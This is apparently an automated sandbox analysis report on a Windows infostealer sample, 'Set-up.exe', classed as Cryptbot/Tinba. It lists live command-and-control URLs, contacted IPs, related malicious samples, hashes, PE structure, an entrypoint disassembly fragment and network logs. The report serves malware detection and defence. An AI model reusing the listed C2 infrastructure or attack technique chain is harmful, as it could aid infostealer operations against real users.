Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	12 Process Discovery	Distributed Component Object Model	Input Capture	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	17 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Set-up.exe	33%	Virustotal		Browse
Set-up.exe	29%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi67	0%	Avira URL Cloud	safe
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767http://home.thirttj13vs.top/gbVspuhpvozlyd	0%	Avira URL Cloud	safe
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767?argument=0S	0%	Avira URL Cloud	safe
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767	0%	Avira URL Cloud	safe
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi17361387675a1	0%	Avira URL Cloud	safe
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767?argu	0%	Avira URL Cloud	safe
thirttj13vs.top	0%	Avira URL Cloud	safe
home.thirttj13vs.top	0%	Avira URL Cloud	safe
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767?argument=0	0%	Avira URL Cloud	safe
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767963	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
home.thirttj13vs.top	34.147.147.173	true	false		high
httpbin.org	50.19.58.113	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767	true	Avira URL Cloud: safe	unknown
thirttj13vs.top	true	Avira URL Cloud: safe	unknown
home.thirttj13vs.top	true	Avira URL Cloud: safe	unknown
https://httpbin.org/ip	false		high
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767?argument=0	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://curl.se/docs/hsts.html	Set-up.exe	false		high
http://html4/loose.dtd	Set-up.exe	false		high
https://curl.se/docs/alt-svc.html#	Set-up.exe	false		high
https://httpbin.org/ipbefore	Set-up.exe	false		high
https://curl.se/docs/http-cookies.html	Set-up.exe	false		high
https://curl.se/docs/hsts.html#	Set-up.exe	false		high
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi17361387675a1	Set-up.exe, 00000000.00000003.1766598511.0000000001593000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766768289.0000000001597000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766658323.0000000001596000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1768202774.000000000159B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi67	Set-up.exe	false	Avira URL Cloud: safe	unknown
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767http://home.thirttj13vs.top/gbVspuhpvozlyd	Set-up.exe, 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767?argument=0S	Set-up.exe, 00000000.00000002.1768172601.0000000001591000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766598511.000000000158D000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766788259.0000000001591000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766966328.0000000001591000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/alt-svc.html	Set-up.exe	false		high
http://.css	Set-up.exe	false		high
http://.jpg	Set-up.exe	false		high
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767?argu	Set-up.exe, 00000000.00000002.1768202774.000000000159B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767963	Set-up.exe, 00000000.00000003.1766598511.0000000001593000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766768289.0000000001597000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766658323.0000000001596000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1768202774.000000000159B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
34.147.147.173	home.thirttj13vs.top	United States		2686	ATGS-MMD-ASUS	false
50.19.58.113	httpbin.org	United States		14618	AMAZON-AESUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584736
Start date and time:	2025-01-06 12:14:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Set-up.exe
Detection:	MAL
Classification:	mal84.troj.spyw.evad.winEXE@1/0@9/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 78% Number of executed functions: 51 Number of non-executed functions: 147
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.147.147.173	Set-up.exe	Get hash	malicious	Cryptbot	Browse	home.thirttj13vs.top/KQOoGKPKGzBeuSFZKvBJ1736042467
	ebjtOH70jl.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738
	random(5).exe	Get hash	malicious	Cryptbot	Browse	home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738
	Set-up.exe	Get hash	malicious	Unknown	Browse	home.eleventj11vt.top/olNuzJxAApOsKhOXzdRo1735639435
	Set-up.exe	Get hash	malicious	Unknown	Browse	home.eleventj11vt.top/olNuzJxAApOsKhOXzdRo1735639435
	TX5LAYBZRI.exe	Get hash	malicious	Unknown	Browse	home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738
	XJiB3BdLTg.exe	Get hash	malicious	Unknown	Browse	home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738
	Bo6uO5gKL4.exe	Get hash	malicious	Unknown	Browse	home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738
50.19.58.113	Set-up.exe	Get hash	malicious	Cryptbot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
httpbin.org	Set-up.exe	Get hash	malicious	Cryptbot	Browse	50.19.58.113
	ebjtOH70jl.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.197.122.172
	random(3).exe	Get hash	malicious	Cryptbot	Browse	34.200.57.114
	random(5).exe	Get hash	malicious	Cryptbot	Browse	34.200.57.114
	Set-up.exe	Get hash	malicious	Unknown	Browse	34.200.57.114
	Set-up.exe	Get hash	malicious	Unknown	Browse	34.200.57.114
	TX5LAYBZRI.exe	Get hash	malicious	Unknown	Browse	34.200.57.114
	Prs9eAnu2k.exe	Get hash	malicious	Unknown	Browse	34.197.122.172
	joE9s9sbv0.exe	Get hash	malicious	Unknown	Browse	34.200.57.114
	XJiB3BdLTg.exe	Get hash	malicious	Unknown	Browse	34.197.122.172
home.thirttj13vs.top	Set-up.exe	Get hash	malicious	Cryptbot	Browse	34.147.147.173

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	https://czfc104.na1.hubspotlinks.com/Ctc/RI+113/cZFc104/VVpBhY3Y-LTWW3Cvl9B8hKRPtVVm64t5qdmRWN1f4_WP7mt9FW50l5tj6lZ3lNW8SvDYK4v65T-W5VNxKh8dLcmKW1GlXcL834zD3W5w7v_71CDbKVV4Dsjr5FnQ2PVSHlbR3pc5MwW72kzKm6WrbY7W6NJh0_7GRxDMW2K2WDT2ZPr4xW3b_gtn2bnp5xW7Hn0F58SN9mqN4_D9_QrtgD8VBy-hV2j1qrbW3N54fh8gXkqCW6JcyP11p5DmRW6d2nj72MkQXgW6hgqJx7Gc_ycW5DT-Pm451FQhW4Tph0s8GNtc-W58sq8G9dpW27W5S3wzf7rNLv_Vn6h606T2B8YN4yb6VRDg_G5W36Gvt_2lnk9qW2LykX37R4KRSW1F2tHT3jrLyjW7hSkG572MN4TW75KrBz5T-zFkVLJYW27hKs9nW3h3Pmh907wxLW2Zzdnn98hQC7W2Qnk7D31ZBJjW83tNvQ2nNht5W1HJvHm95P722W55gfDx9lT1vDW1ykGr_219m_RW5ff63S7MhCcQW4_QfK_5TQdprVlF4dm2DH-ctW6mF-BW36YwwNW99r61n6mmMhVW2v1J7Q5mVXz2W53lcRT6L4fsVN8gyZcXY0MfLW2kLwLd1TYk1wW7MzDQt4QNh6nW1bMMpS84VG-SW6F_Tym5bK06Qf6rQzB604	Get hash	malicious	Unknown	Browse	44.199.56.69
	https://www.scribd.com/document/787929982/script-tlsfrance	Get hash	malicious	Unknown	Browse	54.88.142.103
	2.elf	Get hash	malicious	Unknown	Browse	54.54.35.81
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=vyczmuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#changyeol.choi@hyundaielevator.com	Get hash	malicious	Unknown	Browse	44.217.167.231
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rmgfuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	34.237.47.184
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=olgelfuabFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	3.233.162.86
	Set-up.exe	Get hash	malicious	Cryptbot	Browse	50.19.58.113
	Fantazy.spc.elf	Get hash	malicious	Unknown	Browse	54.60.167.108
	Fantazy.m68k.elf	Get hash	malicious	Unknown	Browse	54.140.246.99
	momo.mips.elf	Get hash	malicious	Mirai	Browse	18.214.158.12
ATGS-MMD-ASUS	https://www.scribd.com/document/787929982/script-tlsfrance	Get hash	malicious	Unknown	Browse	34.8.123.242
	4.elf	Get hash	malicious	Unknown	Browse	48.205.169.154
	Set-up.exe	Get hash	malicious	Cryptbot	Browse	34.147.147.173
	cZO.exe	Get hash	malicious	Unknown	Browse	57.128.196.4
	Fantazy.spc.elf	Get hash	malicious	Unknown	Browse	32.108.110.16
	Fantazy.x86.elf	Get hash	malicious	Unknown	Browse	32.167.24.91
	Fantazy.m68k.elf	Get hash	malicious	Unknown	Browse	48.232.188.207
	Fantazy.i686.elf	Get hash	malicious	Unknown	Browse	51.2.229.158
	Fantazy.arm7.elf	Get hash	malicious	Mirai	Browse	48.42.126.167
	momo.mpsl.elf	Get hash	malicious	Mirai	Browse	57.229.27.66

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.142440388231851
TrID:	Win32 Executable (generic) a (10002005/4) 99.53% InstallShield setup (43055/19) 0.43% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Set-up.exe
File size:	7'745'160 bytes
MD5:	82f12257874f42d2f2475ca1d9189e43
SHA1:	24e0e7493e9bcc17d4858f350c6a6694f4a5acc5
SHA256:	b75aaedf296ec3b596c58573077667f403ed73b18ec052ed9b68b21414671a72
SHA512:	4398246584471c2158002b20c396c9ec4b9a842d2eb39acb1f4685ffc2644b54217bc1732f0d6b2cbbb6e7ef59ab823140f8b4f2c73b4874edd6d30274fc7e8d
SSDEEP:	49152:wDQO2+6/4+mlIgcM/klYv3icaIBsgPkJGSlfMjluWwKWghT5yj+xK4buwPyz8Dlq:wDyG+mcM8kycpBLPSGGMjfdK+yz8E
TLSH:	36762762EE8741F9DAC305715156B37F7E30AF009829CEB6DE90FB34D672A11E91E218
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....a{g...............(..R..$v..2............R...@...........................v.....X.v...@... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4014a0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x677B61F3 [Mon Jan 6 04:54:11 2025 UTC]
TLS Callbacks:	0x7890e0, 0x789090
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	51b39aff649af7abc30a06f2362db069

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US
Signature Validation Error:	A certificate chain could not be built to a trusted root authority
Error Number:	-2146762486
Not Before, Not After	26/08/2024 17:01:06 21/08/2025 17:01:06
Subject Chain	CN=www.microsoft.com, O=Microsoft Corporation, L=Redmond, S=WA, C=US
Version:	3
Thumbprint MD5:	3396EFFCA7AAE6A8A1361318EB7496FF
Thumbprint SHA-1:	955613CC5723CCAB945D4A2F7F7C15D457ECDC54
Thumbprint SHA-256:	F4E34A654907F496BEBC17BE075B41F51E416CDF202D64AA1E93D993C6487263
Serial:	33009F7B734DB0480411EB0BBA0000009F7B73

Entrypoint Preview

Instruction
mov dword ptr [00B2E658h], 00000001h
jmp 00007F755C7FB276h
nop
mov dword ptr [00B2E658h], 00000000h
jmp 00007F755C7FB266h
nop
sub esp, 1Ch
mov eax, dword ptr [esp+20h]
mov dword ptr [esp], eax
call 00007F755CB82AD6h
cmp eax, 01h
sbb eax, eax
add esp, 1Ch
ret
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 1Ch
mov dword ptr [esp], 009D5000h
call dword ptr [00B309A8h]
sub esp, 04h
test eax, eax
je 00007F755C7FB635h
mov ebx, eax
mov dword ptr [esp], 009D5000h
call dword ptr [00B30A1Ch]
mov edi, dword ptr [00B309BCh]
sub esp, 04h
mov dword ptr [00B2C028h], eax
mov dword ptr [esp+04h], 009D5013h
mov dword ptr [esp], ebx
call edi
sub esp, 08h
mov esi, eax
mov dword ptr [esp+04h], 009D5029h
mov dword ptr [esp], ebx
call edi
sub esp, 08h
mov dword ptr [0092C004h], eax
test esi, esi
je 00007F755C7FB5D3h
mov dword ptr [esp+04h], 00B2C02Ch
mov dword ptr [esp], 00B27104h
call esi
mov dword ptr [esp], 00401580h
call 00007F755C7FB523h
lea esp, dword ptr [ebp-0Ch]
pop ebx
pop esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x730000	0x2dac	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x762800	0x688	.reloc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x735000	0x34f84	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x71cca0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x730814	0x620	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x52a6ac	0x52a800	baa43239fc496f1e552593148c585739	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x52c000	0xa8ee4	0xa9000	e5144cd5a13323c364349ac7e504a291	False	0.03480665218195266	dBase III DBT, version number 0, next free block index 10, 1st item "\200Hz"	0.49021551938145835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x5d5000	0x151ad8	0x151c00	f72a467ea1d31a64b8b74faf1c3a80e9	False	0.42061074551258326	data	6.278649157996116	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.eh_fram	0x727000	0x4d64	0x4e00	fedb9fd76b96a9860b646db0ac84ea18	False	0.3199619391025641	data	4.889705613516218	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x72c000	0x3180	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x730000	0x2dac	0x2e00	f3bdd02b09559dde47d9f0bcb1c12fec	False	0.3687160326086957	data	5.347168347257807	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x733000	0x30	0x200	fe2a65d4187b984679c52ae93485940e	False	0.0625	data	0.2233456448570176	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x734000	0x8	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x735000	0x34f84	0x35000	ad3f2ccef971e35e4bf2169f7b4eb7f1	False	0.5023723098466981	data	6.661444090813991	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
ADVAPI32.dll	CryptAcquireContextA, CryptAcquireContextW, CryptCreateHash, CryptDecrypt, CryptDestroyHash, CryptDestroyKey, CryptEnumProvidersW, CryptExportKey, CryptGenRandom, CryptGetHashParam, CryptGetProvParam, CryptGetUserKey, CryptHashData, CryptReleaseContext, CryptSetHashParam, CryptSignHashW, DeregisterEventSource, RegCloseKey, RegEnumKeyExA, RegNotifyChangeKeyValue, RegOpenKeyExA, RegOpenKeyExW, RegQueryValueExA, RegisterEventSourceW, ReportEventW, SystemFunction036
bcrypt.dll	BCryptGenRandom
CRYPT32.dll	CertCloseStore, CertDuplicateCertificateContext, CertEnumCertificatesInStore, CertFindCertificateInStore, CertFreeCertificateContext, CertGetCertificateContextProperty, CertGetEnhancedKeyUsage, CertGetIntendedKeyUsage, CertOpenStore, CertOpenSystemStoreA, CertOpenSystemStoreW
GDI32.dll	BitBlt, CreateCompatibleBitmap, CreateCompatibleDC, DeleteDC, DeleteObject, GetDeviceCaps, SelectObject
gdiplus.dll	GdipGetImageEncoders, GdipGetImageEncodersSize, GdiplusShutdown, GdiplusStartup
IPHLPAPI.DLL	ConvertInterfaceIndexToLuid, ConvertInterfaceLuidToNameA, FreeMibTable, GetAdaptersAddresses, GetBestRoute2, GetUnicastIpAddressTable, if_indextoname, if_nametoindex
KERNEL32.dll	AcquireSRWLockExclusive, CancelIo, CloseHandle, CompareFileTime, ConvertFiberToThread, ConvertThreadToFiberEx, CreateEventA, CreateFiberEx, CreateFileA, CreateFileMappingA, CreateIoCompletionPort, CreateMutexA, CreateSemaphoreW, CreateThread, CreateToolhelp32Snapshot, DeleteCriticalSection, DeleteFiber, EnterCriticalSection, ExpandEnvironmentStringsA, FindClose, FindFirstFileA, FindFirstFileW, FindNextFileW, FormatMessageW, FreeLibrary, GetACP, GetConsoleMode, GetCurrentProcessId, GetCurrentThreadId, GetDiskFreeSpaceExA, GetDriveTypeA, GetEnvironmentVariableA, GetEnvironmentVariableW, GetFileAttributesA, GetFileType, GetLastError, GetLogicalDriveStringsA, GetModuleFileNameA, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetNativeSystemInfo, GetOverlappedResult, GetProcAddress, GetProcessHeap, GetQueuedCompletionStatusEx, GetStartupInfoA, GetStdHandle, GetSystemDirectoryA, GetSystemInfo, GetSystemTime, GetSystemTimeAsFileTime, GetThreadLocale, GetTickCount64, GetTickCount, GetTimeZoneInformation, GetVersion, GetVersionExA, GlobalMemoryStatusEx, HeapAlloc, HeapFree, InitializeConditionVariable, InitializeCriticalSection, IsBadReadPtr, IsDBCSLeadByteEx, K32EnumProcesses, LeaveCriticalSection, LoadLibraryA, LoadLibraryW, MapViewOfFile, MoveFileExA, MultiByteToWideChar, OpenProcess, PeekNamedPipe, PostQueuedCompletionStatus, Process32First, Process32Next, QueryFullProcessImageNameA, QueryPerformanceCounter, QueryPerformanceFrequency, ReadConsoleA, ReadConsoleW, ReadFile, RegisterWaitForSingleObject, ReleaseSRWLockExclusive, ReleaseSemaphore, SetConsoleMode, SetFileCompletionNotificationModes, SetHandleInformation, SetLastError, SetUnhandledExceptionFilter, Sleep, SleepConditionVariableCS, SleepEx, SwitchToFiber, SystemTimeToFileTime, TlsAlloc, TlsGetValue, TlsSetValue, UnmapViewOfFile, UnregisterWait, VerSetConditionMask, VerifyVersionInfoW, VirtualAlloc, VirtualFree, VirtualLock, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WaitNamedPipeA, WakeAllConditionVariable, WakeConditionVariable, WideCharToMultiByte, WriteFile, lstrlenA
msvcrt.dll	__mb_cur_max, __setusermatherr, _findclose, _fullpath, _lock, _strnicmp, _unlock, getc, islower, isxdigit, localeconv, ungetc, vfprintf, _findnext, _findfirst, _open
ole32.dll	CreateStreamOnHGlobal
SHELL32.dll	SHGetKnownFolderPath
api-ms-win-crt-convert-l1-1-0.dll	atoi, mbstowcs, strtol, strtoll, strtoul, wcstombs
api-ms-win-crt-environment-l1-1-0.dll	__p__environ, __p__wenviron, getenv
api-ms-win-crt-filesystem-l1-1-0.dll	_fstat64, _stat64, _unlink
api-ms-win-crt-heap-l1-1-0.dll	_set_new_mode, calloc, free, malloc, realloc
api-ms-win-crt-locale-l1-1-0.dll	setlocale
api-ms-win-crt-math-l1-1-0.dll	_fdopen
api-ms-win-crt-private-l1-1-0.dll	memchr, memcmp, memcpy, memmove, strchr, strrchr, strstr, wcsstr
api-ms-win-crt-runtime-l1-1-0.dll	_set_app_type, __p___argc, __p___argv, __p___wargv, __p__acmdln, __sys_errlist, __sys_nerr, _assert, _cexit, _configure_narrow_argv, _configure_wide_argv, _crt_at_quick_exit, _crt_atexit, _errno, _exit, _fpreset, _initialize_narrow_environment, _initialize_wide_environment, _initterm, _set_invalid_parameter_handler, abort, exit, raise, signal, strerror
api-ms-win-crt-stdio-l1-1-0.dll	__acrt_iob_func, __p__commode, __p__fmode, __stdio_common_vfwprintf, __stdio_common_vsprintf, __stdio_common_vsscanf, __stdio_common_vswprintf, _fileno, _fseeki64, _lseeki64, _wfopen, _write, fclose, feof, ferror, fflush, fgets, fopen, fputc, fputs, fread, fseek, ftell, fwrite, rewind, setvbuf, _write, _setmode, _read, _open, _fileno, _close
api-ms-win-crt-string-l1-1-0.dll	_strlwr_s, isspace, isupper, memset, strcat, strcmp, strcpy, strcspn, strlen, strncat, strncmp, strncpy, strpbrk, strspn, tolower, wcscat, wcscmp, wcscpy, wcslen, _wcsnicmp, _stricmp, _strdup, _strdup
api-ms-win-crt-time-l1-1-0.dll	__daylight, __timezone, __tzname, _difftime32, _difftime64, _gmtime64, _mktime64, _time32, _time64, _tzset, strftime
api-ms-win-crt-utility-l1-1-0.dll	_byteswap_uint64, bsearch, qsort, rand, srand
USER32.dll	CharUpperA, EnumDisplayMonitors, EnumWindows, FindWindowA, GetDC, GetProcessWindowStation, GetSystemMetrics, GetUserObjectInformationW, GetWindowTextA, MessageBoxW, ReleaseDC, SendMessageA
WS2_32.dll	WSACleanup, WSACloseEvent, WSACreateEvent, WSAEnumNetworkEvents, WSAEventSelect, WSAGetLastError, WSAIoctl, WSAResetEvent, WSASetEvent, WSASetLastError, WSAStartup, WSAStringToAddressW, WSAWaitForMultipleEvents, __WSAFDIsSet, accept, bind, closesocket, connect, gethostbyaddr, gethostbyname, gethostname, getpeername, getservbyname, getservbyport, getsockname, getsockopt, htonl, htons, inet_addr, inet_ntoa, ioctlsocket, listen, ntohl, ntohs, recv, recvfrom, select, send, sendto, setsockopt, shutdown, socket

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 12:14:58.085338116 CET	49730	443	192.168.2.4	50.19.58.113
Jan 6, 2025 12:14:58.085374117 CET	443	49730	50.19.58.113	192.168.2.4
Jan 6, 2025 12:14:58.085452080 CET	49730	443	192.168.2.4	50.19.58.113
Jan 6, 2025 12:14:58.088236094 CET	49730	443	192.168.2.4	50.19.58.113
Jan 6, 2025 12:14:58.088253975 CET	443	49730	50.19.58.113	192.168.2.4
Jan 6, 2025 12:14:58.877037048 CET	443	49730	50.19.58.113	192.168.2.4
Jan 6, 2025 12:14:58.877634048 CET	49730	443	192.168.2.4	50.19.58.113
Jan 6, 2025 12:14:58.877665997 CET	443	49730	50.19.58.113	192.168.2.4
Jan 6, 2025 12:14:58.878957987 CET	443	49730	50.19.58.113	192.168.2.4
Jan 6, 2025 12:14:58.879040956 CET	49730	443	192.168.2.4	50.19.58.113
Jan 6, 2025 12:14:58.880428076 CET	49730	443	192.168.2.4	50.19.58.113
Jan 6, 2025 12:14:58.880496025 CET	443	49730	50.19.58.113	192.168.2.4
Jan 6, 2025 12:14:58.890629053 CET	49730	443	192.168.2.4	50.19.58.113
Jan 6, 2025 12:14:58.890644073 CET	443	49730	50.19.58.113	192.168.2.4
Jan 6, 2025 12:14:58.936250925 CET	49730	443	192.168.2.4	50.19.58.113
Jan 6, 2025 12:14:59.191107988 CET	443	49730	50.19.58.113	192.168.2.4
Jan 6, 2025 12:14:59.191170931 CET	443	49730	50.19.58.113	192.168.2.4
Jan 6, 2025 12:14:59.191215038 CET	49730	443	192.168.2.4	50.19.58.113
Jan 6, 2025 12:14:59.191997051 CET	49730	443	192.168.2.4	50.19.58.113
